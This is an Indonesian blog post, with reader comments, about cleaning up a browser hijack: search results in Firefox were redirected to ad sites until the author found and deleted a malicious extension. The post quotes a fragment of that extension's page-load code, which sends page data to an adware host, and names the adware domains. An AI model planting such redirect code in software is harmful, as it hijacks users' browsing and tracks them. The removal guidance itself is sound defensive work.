Sudah beberapa hari ini saya merasa tidak nyaman menggunakan Google Search Engine, karena setiap kali melakukan pencarian pasti setiap link yang dibuka pasti dialihkan (redirect) ke situs lain.
Karena sudah sangat mengganggu akhirnya saya lakukan scanning dengan menggunakan Norton Corporate Antivirus, PCMAV Valkyrie, XoftSpy, dan Malwarebytes. Dengan menggunakan Malwarebytes terdapat beberapa file misterius yang merupakan rootkit/malware seneka.
Tapi setelah dinyatakan bersih masih saja dialihkan ke situs lain seperti clickchecktools[dot]com serta abcjmp[dot]com, sebelum itu jika dilihat pada loading bar bukan hanya memuat alamat google, tapi juga memuat alamat v1.adwarefeed[dot]com setiap mengeksekusi atau memindah halaman pencarian di google.
Karena pake software anti virus/malware/rootkit ngga’ kunjung mendapatkan hasil, akhirnya saya pake cara manual yaitu masuk ke C:\Program Files\Mozilla Firefox\extensions\.
Kemudian mencari file yang berekstensi .xul dan dibuka dengan menggunakan wordpad, setelah diteliti dari baris perbaris saya menemukan kode unik seperti yang tertera dibawah ini:
onPageLoad:
function(aEvent){
var doc = aEvent.originalTarget;
var loc = doc.location.href;
var ref = doc.referrer;
var keyword = ”;
var engine ;
var __d = “http://v1.adwarefeed.com/ffjs.php?u=3893913796-746137067-813497703-839522115&a=303365&s=21&v=icv07030901ff&e=”;
Akhirnya ketemu juga penyakitnya, tanpa menunggu lama saya hapus sub folder pada folder extensions Mozilla yang berisi link diatas (nama foldernya misal seperti {CAFEEFAC-0016-0000-0012-ABCDEFFEDCBA})
Setelah itu restart Mozilla dan dicoba beberapa kali melakukan pencarian dengan Google sudah tidak dialihkan ke situs lain lagi.



























wah…bagus banget infonya…buat nambah ilmu seorang anak 15 tahun yang baru mempelajari internet..
Comment by toko bunga di jakarta — April 8, 2009 @ 16:23 |
Keren…
Daripada susah susah make spyware remover
Kekekekee..
Makasih ilmunya broo.. sorry baru bisa kunjungan balik
Comment by thom — April 29, 2009 @ 06:26 |
Thx atas kunjungannya, s’moga bermanfaat
Comment by cecepswp — April 29, 2009 @ 11:52 |
ngemeng-ngemeng, banyak benar antivir mu bro? nggak pada bentrok tuh
Comment by fetro — May 27, 2009 @ 01:32 |
Kalo antivirus aktif cuma satu, yang lainnya manual scan, kalo auto semua malah ntar cakar-cakaran
Comment by cecepswp — May 27, 2009 @ 12:54 |
nambah ilmu nih
tapi saya masih pake opera
browser favorit
Comment by annosmile — May 31, 2009 @ 11:31 |
Saya juga pake Opera sebagai optional browser selain FF
Comment by cecepswp — May 31, 2009 @ 11:58 |
duh sayang diriku gaptek
Comment by suwung — June 2, 2009 @ 12:40 |
Saya juga gaptek soal kode-kode gituan, tapi asal nekat dan ada referensi contekan yg didapat dari google pasti bisa deh
Comment by cecepswp — June 2, 2009 @ 12:42 |
wah malah baru tahu kalo ada yang bisa gitu
Comment by properties — June 5, 2009 @ 02:44 |
Kalo facebook di block, solusinya gimana?
Comment by Domba Gaul — June 15, 2009 @ 14:36 |
Pake Web Proxy, salah satunya di http://kproxy.com
Comment by cecepswp — June 15, 2009 @ 14:46 |
Bisa diakalin ya….. Baru tau. Bisa dicoba nih bang
Comment by Lukisan Minimalis — June 22, 2009 @ 17:55 |